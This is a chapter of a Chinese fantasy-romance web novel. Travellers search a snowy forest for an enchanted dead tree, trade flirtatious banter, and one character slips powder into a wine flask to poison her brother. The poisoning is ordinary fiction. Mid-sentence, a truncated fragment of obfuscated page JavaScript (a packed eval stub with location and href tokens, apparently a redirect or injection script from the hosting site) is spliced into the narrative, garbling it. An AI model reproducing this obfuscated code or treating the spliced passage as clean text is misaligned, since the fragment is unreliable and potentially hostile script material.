一棵野草 作品
115. 115
萧言澈高声道:“就是这了。”
几人勒紧缰绳,拉紧向右,马儿稍稍调转方向,横刹在森林前。
树木过于密集,无法骑马而行,牵着更不方便。萧渺翻身下马,轻轻抚摸着它的耳朵,“先让它们回去吧,等完事之后,再唤回来。”
任卷舒看向身侧骏马,“它们能找到回去的路?”
萧渺拿起鹰骨笛吹了声,“这些马儿都被训练过,自己跑个来回不是问题。”
话音刚落,天空传来一声鸣叫,远远看着,只见一黑影盘旋在上空,像是老鹰。
萧渺又吹响鹰骨笛,马儿调换方向,跟着上空黑影,踏雪而归。
这御马的方法,见所未见。
萧言澈叮嘱道:“林中藤蔓较多,现在被白雪覆盖,不好分辨,行走间要多加小心。”
“好,我们自会多加小心。”任卷舒看着一片光秃秃的树,外加白雪掩盖,若是从中迷路,恐怕转个几天几夜,都出不来,“眼下,萧公子能分辨朝哪边走吗?”
萧言澈走在最前面,浅笑道:“可以,每年都会来林中采药,对于其中路线,称不上了如指掌,也算是熟悉。不过,没再冬季来过,倘若一时带错了路,几位也别见怪。”
任卷舒道:“自然不会,你尽管安心带路。”
安心?怎么可能让他安心的。萧渺跟后面,心里谋划着何时动手,也不能太着急,能借妖魔鬼怪之力铲除他最好。
她拽了拽身上的包裹,反正阿爹的宝贝地图被她偷来了,就算萧言澈死掉,也不会耽误事。新研制的十几种毒药,哪怕毒不死他,能让他不痛快,就没白费。
“肩膀怎么了?”任卷舒凑到同其尘身边,小声问道。
从下马开始,就见他不对劲,包袱系到腰上,还总是小幅度地活动肩膀。
凑近一瞧,他额前冒出一层薄汗,任卷舒突然反应过来,“先前受的伤,还没好利索?”
同其尘摇头道:“无碍,只是方才抻了一下。”
这伤差不多有一个月了,平日里,同其尘不会提及,她也就忘了。都说伤筋动骨一百天,如今看他气息有些错乱,还无碍呢?也不知道逞的什么强,骑马之前也不知道说。
“手。”任卷舒道。
同其尘不知道她要做什么,还是乖乖给了。只听她接着说道:“伤没好,你也不知道说一声,硬撑什么?现在扯到伤口,来来回回几次,就没个好了。等回去时,你同我一起。”
同其尘愣了下,怔怔看着她,同她一起?一起……骑一匹马?
任卷舒手指压在他手腕上,还没看出什么,他唰一下撤回手,急忙道,“不行,不妥,不合规矩。”
“好,那你跟在马后面跑!天大地大,规矩最大,不知道哪来这些破规矩。”任卷舒打了他一下,语气不耐烦搭道,“手!”
见她有些生气,同其尘把手递过去,嘴里忸怩自语道:“就是、就是不合规矩。”
真想一拳夯在他头上,奈何还有两个外人在,她便忍下了这股无名火,瞪过去一眼,本来没想接话。
却见他像饮了一杯烈酒,又像炸开的杜鹃花,映出一片红。
任卷舒这才反应过来,羞得!有长进啊,现在自己都知道羞了,以前跟个二愣子一样,那得往死里挑逗,他才能明白过事来。长大了长大了,虽然开窍开得晚,总比不开窍的好。
本想用半月山的法术给他渡些灵力,又想到他半人半妖身世,任卷舒试着用用妖丹给他渡入,果真成了。
任卷舒没有立即松开手腕,想要逗逗他,“同其尘,长留山没教你们清心净欲啊?”
同其尘一时没反应过来她为何这样问,一本正经地回答,“教了,清心净欲是修炼时最为基本的。”
任卷舒笑道:“是吗?我怎么瞧你心不静啊。”
同其尘瞳孔一震,迅速收回手,声音轻颤道:“没有!”
“好好好。”任卷舒抿着嘴笑,“没有,你说没有,便是没有。”
同其尘还想为自己争辩,便听旁边传来一句,“你们嘀嘀咕咕地说什么呢?”
任卷舒摊开手,一脸无辜道:“他非得教我清闲净欲,谁知道怎么了,可能这几天心不静吧,我又用不到,白听他唠叨。”
同其尘辩解不出,一口气憋在胸口,直直往心口撞,他一甩手,自己闷着生气去了。
萧渺失落地“嗷”了一声,还以为两人讨论如何查证萧言澈,白欢喜了。
任卷舒拍拍手,远离这个是非之地。
萧言澈见任卷舒跟上来,方才后面嘀嘀咕咕的,别的没听情,只听清她最后说的那句,便以此扯了个话题,“姑娘真打算清心净欲?”
“怎么?怕影响到你我二人的婚约。”任卷舒玩笑道,“清心净欲还是算了吧,我这人贪恋美色。”
萧言澈浅笑道:“是吗?”
任卷舒瞧他一眼,萧言澈就是个笑面虎,喜怒不行于色,难以捉摸,玩笑两句说不定能套点话,“你说呢?我是看到你这张脸后,才决定考虑婚约的。”
“姑娘莫要取笑我了。”萧言澈对上她的视线,眼中的打量丝毫没有遮掩,轻声道:“姑娘的心思可不在我身上,更不在这婚约上。”
“萧公子怎么将我要说的话给抢了?”任卷舒挑眉笑道,“你怎么知道我心思不在你那?前几天,没找到合适的时机罢了,如今我就站在身侧,萧公子啊,你还要我如何主动。”
说这话时,真不能看他的脸,跟萧渺太像了,说着说着容易走神。
萧言澈笑了下,还没等开口,任卷舒被脚下的藤蔓绊住,栽到他身侧,撞的个措手不及。
真会挑时候倒霉,任卷舒眉心横跳,无奈苦笑道:“老天爷听不下去,出手帮忙了?这可不是装的,实实在在绊了一跤。”
萧言澈将她扶正,“此地藤蔓缠绕杂乱,小心一些。”
任卷舒甩开他的手,笑着道了声谢。
萧言澈没接话,转头撇了眼地上的藤蔓,又看向小声说话的两人。萧渺将手里的东西递到同其尘面前,眼角那抹似有似无的笑意最为扎眼。
正巧同其尘看过来,两道视线犹如刀剑交锋,谁也不肯退让半分,争锋相对下,心里争的完全不同。
萧渺顺着同其尘视线看过去,瞪了萧言澈一眼。
收到这一道目光,萧言澈却笑了下,像似心满意足般,懒散地转过头去。
留下同其尘皱眉苦想,最终也没明白他为何突然笑了下,挑衅?
几人前脚走过,地上匍匐的藤蔓三三两两探起头来,抖了抖身上的白雪,交头接耳一阵后,又伏到地上,快速抽离开。
林间树木错杂纷乱,白雪掩盖地形,难以分辨方向,更似身至迷宫。
眼看头顶的太阳渐渐西落,林中光线俞加昏暗。
任卷舒摇晃着随手捡来的藤条,环视一圈,目光又落到萧言澈身上,这家伙不会是在兜圈玩吧?一下午,腿都溜细了,半点发现都没有,更别说什么怪异之处。
话到嘴边又迂回片刻,她开口道:“萧言澈,你还记得清路吗?这样找下去,何时是个头啊?”
“应该就在这附近,”萧言澈仔细观察四周,“往年都是春秋之际前来采摘草药,没在冬天来过,看着总有几分陌生。不过,按照距离推断,应该就在附近,为何不见了?”
四周除了树还是树,依稀能看到几根藤蔓,任卷舒疑惑道,“什么东西不见了?”
“一棵枯树。”萧言澈道,“地图上圈出的三个地点,这枯树便算一个。枯树上缠绕着藤蔓,若不仔细看,只觉它生机盎然,其实早就枯死了。但这枯树触碰不得,每当有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15095519|140953||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人靠近它,都会出现一层屏障将其隔绝起来。”
任卷舒道:“除了凭空出现的屏障外,可还有其他怪异的地方?”
萧言澈思索道:“也称不上怪异,一些前来采药的女子,总会丢些小物件,多为首饰之类的。”
这林间杂草丛生,丢下小物件也不算奇怪,任卷舒把头点点,叹息道:“大冬天里找枯树,实在有些难为人了。”
萧言澈道:“先找个地方歇息一下,夜间不好行动。”
寻了个凹处,同其尘四处收集树枝生火,萧渺拿着包袱跟他走开,在一众瓶瓶罐罐里选了个最称心的,又将袖口暗器藏置腰间。
方才给同其尘看暗器,被他一语击中,暗器做的再好,武功不行,都是白瞎,还是下毒最为合适。
她捏着手中药瓶欣赏片刻,收紧袖口,捡了两个树枝装模作样,跟着他一起回去。
一天没吃东西,任卷舒肯定饿了,在吃饭这件事上,除了灵久就属她最积极,天塌下来都挡不住她那句‘民以食为天’。同其尘放下柴火后,从行囊中翻出些吃食。
半路被萧渺劫了点,他捧着吃食走过去,两人正坐在一起讨论,无人注意到他。
地上画的应该是灵山蕰东部地图,他站在任卷舒身侧小声唤了句,两人正说到兴头上,没人听见那声轻飘飘的‘任卷舒’。
他抿了下嘴,又唤她一声。
萧言澈率先抬起头,似乎有些惊讶,一副欲言又止的模样。同其尘道:“先吃点东西垫一垫,还没生好火。”
“多谢。”萧言澈伸手接过,又将吃食多数递给任卷舒。
“依你所说,这三处离得不算近,但相隔开的距离应该差不多,连起来像个三角。”任卷舒接过吃食,一门心思地盯着潦草的地图,这碎玉究竟在哪个地方?或是说……她看了眼萧言澈,或是说在什么人身上。
同其尘转身离开,再待下去,只不过是自讨无趣罢了。
萧渺瞟见行囊中的烈酒,心生一计,见同其尘耷拉个脸往回走,她歪头瞧了眼坐在远处的两人,心里猜到些什么,又觉得疑惑,那不是他阿姐吗?
“算了,算了,下毒要紧。”萧渺喃喃自语,又顺手选了个酒壶划上记号。从袖口中拿出小药瓶,瞧了眼里面的白色粉末,小心翼翼地撒到酒壶中,余光还要盯着萧言澈,不能被他发现了。
“哐当——”
萧渺心里一惊,吓得一哆嗦,眼见白色粉末撒了出来,连忙擦了擦酒壶,转过身去。
同其尘正挥着剑,用开天辟地般的气势,去砍那还没手腕粗的树枝。
不是?这柴火有这么难劈吗?
萧渺松了口气,安慰好受惊的小心脏,又拎了个酒壶走上前,“同其尘,你给他们送点喝的吧。”她将两个酒壶递到他面前,右手拇指特意点了点酒壶肚上的划痕,小声道,“这个给萧言澈,千万别搞错了。”
同其尘撇过一眼,正色道:“不去。你自己去送。”
“哎?”萧渺有些着急,余光扫了眼萧言澈,压了压声音道:“我去送,他能喝吗?你帮忙送过去,就当我欠你个人情,日后定还你。”
“咔嚓——”同其尘手起剑落,树干断得干干净净,连带地上豁出一条裂缝。他还是一脸倔样儿,正色道:“不去。”
萧渺算是看透他倔驴的属性,心里暗骂了句,又摆摆手道:“自己去就自己去,不用你!”
她掂了掂手里酒壶,转身冷眼斜睨萧言澈,朝他走过去,心里盘算着如何让他喝下。
往前走着,总感觉身后有沙沙声,她猛地转身看去,又什么都没有,同其尘还在不远处劈柴。
什么啊?她无奈叹了口气,还以为是他过来帮忙了。
萧言澈心思太难猜,是直接给他下毒的这一壶,还是……她心里琢磨着,脚下突然生出一簇藤蔓,迅速将人缠了起来。
“救…命…”